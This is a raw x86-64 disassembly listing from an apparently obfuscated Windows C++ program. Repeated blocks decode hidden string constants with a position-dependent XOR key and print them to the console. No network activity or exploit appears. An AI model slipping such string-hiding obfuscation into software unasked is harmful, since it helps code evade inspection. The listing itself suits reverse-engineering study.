lea r9, [rbp - 0x50]
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140039210
lea rdx, [rbp - 0x50]
mov rcx, r10
call fcn.140042790
movups xmm0, xmmword [0x140050120]
movups xmm1, xmmword [0x140050130]
mov eax, dword [0x140050180]
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm1
mov dword [rbp + 0xf0], eax
movups xmm0, xmmword [0x140050140]
movups xmm1, xmmword [0x140050150]
movzx eax, word [0x140050184]
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm1
mov word [rbp + 0xf4], ax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x140050160]
movups xmm1, xmmword [0x140050170]
movzx eax, byte [0x140050186]
mov r10, r8
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm1
mov byte [rbp + 0xf6], al
mov ecx, r15d
cmp r14d, 2
jl 0x140039425
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x94]
mov r9d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140039320
cmp ecx, 0x67
jl 0x140039425
mov rcx, r8
jmp 0x14003946f
movsxd rax, ecx
lea r8, [rbp + 0x90]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x67
jl 0x140039440
mov rcx, r10
lea rdx, [rbp + 0x90]
call fcn.140042790
lea rdx, [0x140042cc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14004ff30]
movups xmm1, xmmword [0x14004fee0]
movups xmm0, xmmword [0x14004fed0]
mov dword [rbp + 0x630], eax
movups xmmword [rbp + 0x5e0], xmm1
movups xmmword [rbp + 0x5d0], xmm0
movzx eax, word [0x14004ff34]
movups xmm1, xmmword [0x14004ff00]
movups xmm0, xmmword [0x14004fef0]
mov word [rbp + 0x634], ax
movups xmmword [rbp + 0x600], xmm1
movups xmmword [rbp + 0x5f0], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004ff36]
movups xmm1, xmmword [0x14004ff20]
movups xmm0, xmmword [0x14004ff10]
mov r10, r8
mov byte [rbp + 0x636], al
movups xmmword [rbp + 0x620], xmm1
movups xmmword [rbp + 0x610], xmm0
mov ecx, r15d
cmp r14d, 2
jl 0x140039665
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x5d4]
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x140039560
cmp ecx, 0x67
jl 0x140039665
mov rcx, r8
jmp 0x1400396af
movsxd rax, ecx
lea r8, [rbp + 0x5d0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x67
jl 0x140039680
mov rcx, r10
lea rdx, [rbp + 0x5d0]
call fcn.140042790
lea rdx, [0x140042cc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x14004f4c0]
movups xmmword [rbp + 0x248], xmm0
mov eax, dword [0x14004f4f8]
movups xmm0, xmmword [0x14004f4e0]
mov dword [rbp + 0x280], eax
movups xmmword [rbp + 0x268], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004f4fc]
movsd xmm0, qword [0x14004f4f0]
movups xmm1, xmmword [0x14004f4d0]
mov r10, r8
mov byte [rbp + 0x284], al
movsd qword [rbp + 0x278], xmm0
movups xmmword [rbp + 0x258], xmm1
mov ecx, r15d
cmp r14d, 2
jl 0x140039876
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x24c]
mov r9d, dword [rsp + 0x50]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x38
jl 0x140039771
cmp ecx, 0x3d
jl 0x140039876
mov rcx, r8
jmp 0x1400398bf
movsxd rax, ecx
lea r8, [rbp + 0x248]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x3d
jl 0x140039890
mov rcx, r10
lea rdx, [rbp + 0x248]
call fcn.140042790
lea rdx, [0x140042cc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x14004fe60]
movups xmmword [rbp + 0x4b0], xmm0
movups xmm0, xmmword [0x14004fe80]
movups xmmword [rbp + 0x4d0], xmm0
mov eax, dword [0x14004feb8]
movups xmm0, xmmword [0x14004fea0]
movups xmm1, xmmword [0x14004fe70]
mov dword [rbp + 0x508], eax
movups xmmword [rbp + 0x4f0], xmm0
movups xmmword [rbp + 0x4c0], xmm1
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004febc]
movsd xmm0, qword [0x14004feb0]
movups xmm1, xmmword [0x14004fe90]
mov r10, r8
mov byte [rbp + 0x50c], al
movsd qword [rbp + 0x500], xmm0
movups xmmword [rbp + 0x4e0], xmm1
mov ecx, r15d
cmp r14d, 2
jl 0x140039aa5
movdqa xmm5, xmmword [0x140058c70]
movdqa xmm4, xmmword [0x140058d50]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140058c90]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140058d20]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x4b4]
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140058cf0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x58
jl 0x1400399a0
cmp ecx, 0x5d
jl 0x140039aa5
movsxd rax, ecx
lea r8, [rbp + 0x4b0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x5d
jl 0x140039ac0
mov rcx, r10
lea rdx, [rbp + 0x4b0]
call fcn.140042790
lea rdx, [0x140042cc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movups xmm0, xmmword [0x14004ea40]
movups xmmword [rbp + 0x208], xmm0
mov eax, dword [0x14004ea78]
movups xmm0, xmmword [0x14004ea60]
mov dword [rbp + 0x240], eax
movups xmmword [rbp + 0x228], xmm0
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14004ea7c]
movsd xmm0, qword [0x14004ea70]
movups xmm1, xmmword [0x14004ea50]
mov r10, r8
mov byte [rbp + 0x244], al
movsd qword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x218], xmm1
mov ecx, r15d
cmp r14d, 2
jl 0x140039cb6